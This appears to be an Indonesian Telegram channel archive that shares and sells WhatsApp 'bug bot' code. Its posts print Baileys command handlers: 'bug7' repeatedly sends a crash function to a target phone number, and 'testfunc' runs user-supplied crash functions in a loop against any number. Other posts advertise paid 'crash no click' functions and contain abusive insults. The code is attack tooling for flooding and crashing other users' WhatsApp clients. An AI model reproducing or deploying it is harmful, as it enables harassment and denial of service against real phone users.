JAVA SCRIPT GRENTZY <\0>
Kanalga Telegramβda oβtish
423
Obunachilar
+624 soatlar
+177 kun
+10230 kun
Postlar arxiv
Repost from N/a
https://whatsapp.com/channel/0029VbDdzZgIiRorXeQQhg1i
yang baik bantu follow ch gw
01 Noy, 04:45
jangan lupa cek Gren.js ubah semua yang gua suruh termasuk link url send image
01 Noy, 01:53
List Menu di sc gua: - .menu / .gren - .bugmenu - .testfunc - .status - .antispam on/off - .antilink on/off - .anti18 on/off - .antitoxic group on/off - .antitoxic pv on/off - .antistiker group on/off - .antistiker pv on/off - .addowner / delowner - .addpremium / delpremium - .listowner / listpremium cr @GrenTzy1 silahkan pake yak gua free in buat kalian
31 Okt, 23:12
const vm = require("vm");
const chalk = require("chalk");
const axios = require("axios");
const crypto = require("crypto");
const { downloadContentFromMessage, getContentType, proto } = require("@whiskeysockets/baileys");
Module wajib ada di index.js
31 Okt, 20:30
case "testfunc": {
const args = text.slice(1).split(" ").filter(Boolean);
const q = args[0];
const loop = parseInt(args[1]) || 1;
if (!q) {
return sock.sendMessage(m.chat, {
text: `*TEST FUNCTION BY @GrenTzy1*
*Format:*
.testfunc <nomor> <loop>
*Contoh:*
.testfunc 628xxx 10
*Cara Pakai Baca ya pukiπ€:*
1. Reply pesan berisi kode function, lalu ketik .testfunc 628xxx 5
2. Reply file .js, lalu ketik .testfunc 628xxx 10
_Function harus diawali async function NamaFunc(sock, target)_`
}, { quoted: m });
}
let funcCode = null;
let mediaType = null;
const quoted = m.message?.extendedTextMessage?.contextInfo?.quotedMessage;
if (quoted) {
if (quoted.conversation) {
funcCode = quoted.conversation;
mediaType = "text";
} else if (quoted.extendedTextMessage?.text) {
funcCode = quoted.extendedTextMessage.text;
mediaType = "text";
} else if (quoted.documentMessage) {
mediaType = "document";
try {
const stream = await downloadContentFromMessage(quoted.documentMessage, "document");
let buf = Buffer.from([]);
for await (const chunk of stream) buf = Buffer.concat([buf, chunk]);
funcCode = buf.toString("utf-8");
} catch (e) {
return sock.sendMessage(m.chat, { text: `Gagal download file: ${e.message}` }, { quoted: m });
}
}
}
if (!funcCode || !funcCode.trim()) {
return sock.sendMessage(m.chat, { text: "Reply pesan berisi kode function atau file .js!" }, { quoted: m });
}
const matchFunc = funcCode.match(/(?:async\s+)?function\s+([a-zA-Z0-9_]+)\s*\(/);
if (!matchFunc) {
return sock.sendMessage(m.chat, { text: "Tidak ditemukan function valid.\nFormat: async function NamaFunc(sock, target) { ... }" }, { quoted: m });
}
const funcName = matchFunc[1];
const target = q.replace(/[^0-9]/g, "") + "@s.whatsapp.net";
if (loop < 1 || loop > 100) {
return sock.sendMessage(m.chat, { text: "Loop harus antara 1 - 100." }, { quoted: m });
}
const startMsg = await sock.sendMessage(m.chat, {
text: `TEST FUNCTION BY @GrenTzy1
Target : ${q}
Loop : ${loop}x
Tipe : ${mediaType}
Func : ${funcName}
Status : PROCESS`
}, { quoted: m });
let fn;
try {
const vm = require("vm");
const sandbox = {
console,
Buffer,
setTimeout,
setInterval,
clearTimeout,
clearInterval,
sleep: ms => new Promise(r => setTimeout(r, ms)),
axios: require("axios"),
crypto: require("crypto"),
sock,
proto,
getContentType,
generateWAMessageFromContent,
generateWAMessage
};
const context = vm.createContext(sandbox);
const wrapper = `${funcCode}\n\n${funcName}`;
fn = vm.runInContext(wrapper, context);
if (typeof fn !== "function") throw new Error("Bukan function.");
} catch (err) {
return sock.sendMessage(m.chat, { text: `Gagal compile function: ${err.message}` }, { quoted: m });
}
(async () => {
let success = 0;
let failed = 0;
const startTime = Date.now();
for (let i = 1; i <= loop; i++) {
const progress = `[${"β".repeat(Math.round(i / loop * 10)).padEnd(10, "β")}]`;
try {
if (fn.length >= 2) await fn(sock, target);
else if (fn.length === 1) await fn(target);
else await fn(sock, target, true);
success++;
console.log(`[testfunc] ${i}/${loop} ${progress} Sukses`);
} catch (err) {
failed++;
console.log(`[testfunc] ${i}/${loop} ${progress} Gagal: ${err.message}`);
}
if (i < loop) await sleep(1000);
}
const duration = ((Date.now() - startTime) / 1000).toFixed(1);
const status = failed === 0 ? "ALL SUCCESS" : failed === loop ? "ALL FAILED" : "PARTIAL";
await sock.sendMessage(m.chat, {
text: `TEST FUNCTION BY @GrenTzy1
Target : ${q}
Total : ${loop}x
Sukses : ${success}
Gagal : ${failed}
Durasi : ${duration}s
Func : ${funcName}
Status : ${status}`
}, { quoted: startMsg });
})();
break;
}
Case testfunction Via bot WhatsApp cr @GrenTzy1
31 Okt, 20:26
case "bug7": {
const args = text.slice(1).split(" ").filter(Boolean);
const q = args[0];
if (!q) {
return sock.sendMessage(m.chat, {
text: `π *Format:* .bug7 <nomor> [loop] [delay]\n\nContoh:\n.bug7 628xxx 20 1000\n.bug7 628xxx 5 3000\n\n_Default: 10 loop, 1500ms delay_`
}, { quoted: m });
}
const loopCount = parseInt(args[1]) || 10;
const delayMs = parseInt(args[2]) || 1500;
if (loopCount < 1 || loopCount > 100) {
return sock.sendMessage(m.chat, { text: "β Loop harus antara 1 - 100." }, { quoted: m });
}
const target = q.replace(/[^0-9]/g, "") + "@s.whatsapp.net";
await sock.sendMessage(m.chat, {
image: { url: "ISI_URL_GAMBAR_LU" },
caption: `ββγ *VANTHRA CORE* γ
β
β Target : ${q}
β Loop : ${loopCount}x
β Delay : ${delayMs}ms
β Type : .bug7 (Advanced)
β
ββγ *STATUS: PROCESS* β³γ`,
mentions: [m.sender]
}, { quoted: m });
(async () => {
let success = 0;
let failed = 0;
const failedLog = [];
const startTime = Date.now();
for (let i = 1; i <= loopCount; i++) {
const progress = `[${"β".repeat(Math.round(i / loopCount * 10)).padEnd(10, "β")}]`;
try {
await NamaFunction7(sock, target);
success++;
console.log(chalk.green(`β
[bug7] ${i}/${loopCount} ${progress} Sukses`));
} catch (err) {
failed++;
failedLog.push(`Iterasi ${i}: ${err.message}`);
console.log(chalk.yellow(`β οΈ [bug7] ${i}/${loopCount} ${progress} Gagal: ${err.message}`));
}
if (i < loopCount) await sleep(delayMs);
}
const duration = ((Date.now() - startTime) / 1000).toFixed(1);
const summary = `ββγ *VANTHRA CORE* γ
β
β Target : ${q}
β Total : ${loopCount}x
β β
Sukses : ${success}
β β Gagal : ${failed}
β β±οΈ Durasi : ${duration}s
β
β Status: ${failed === 0 ? "β
ALL SUCCESS" : failed === loopCount ? "β ALL FAILED" : "β οΈ PARTIAL"}
β
ββγ _Log error tersimpan di console_ γ`;
await sock.sendMessage(m.chat, { text: summary }, { quoted: m });
if (failedLog.length > 0) console.log(chalk.red(`\n=== LOG ERROR bug7 ===\n${failedLog.join("\n")}`));
})();
break;
}
case bug via bot WhatsApp
31 Okt, 20:20
π KODE REDEEM BARU!
β£ π Kode : EXEOOONO
β£ π° Hadiah : 100 CREDIT
β π₯ Kuota : 5
π Cara Klaim:
Buka bot @buildweb2apkbykryzen_bot lalu ketik:
/redeem EXEOOONO31 Okt, 19:30
https://t.me/MLOFixMerah_Bot?start=REF7434020565
bantu start nnti w sahre func free
30 Okt, 09:57
@d1nzzx
list orang hama udah di kasih mt spam kedip malau gak hargain kontol udah di kasih mt free work kontol bego idiot anjing
30 Okt, 08:48
buat yang mau try function bisa ke bot tes func di bawah ini ya di jamin amanπ Bot : @MoroseWaveTesFunction_Bot
30 Okt, 06:39
Open pt func Pt func Stardust : 25k = 200+ mem Pt fun Nfx : 10k = 20+ mem Pt func 4X : 25k = 40+ mem Pt func gren : 30k = 80+ mem Pt func melon manis : 25k = 40+ mem Open role diatasnya juga.minat pv : @XwyPonza
30 Okt, 05:28
crash no click wkwk pv @GrenTzy
kalau mau buy pt function atau gb owner
30 Okt, 03:31

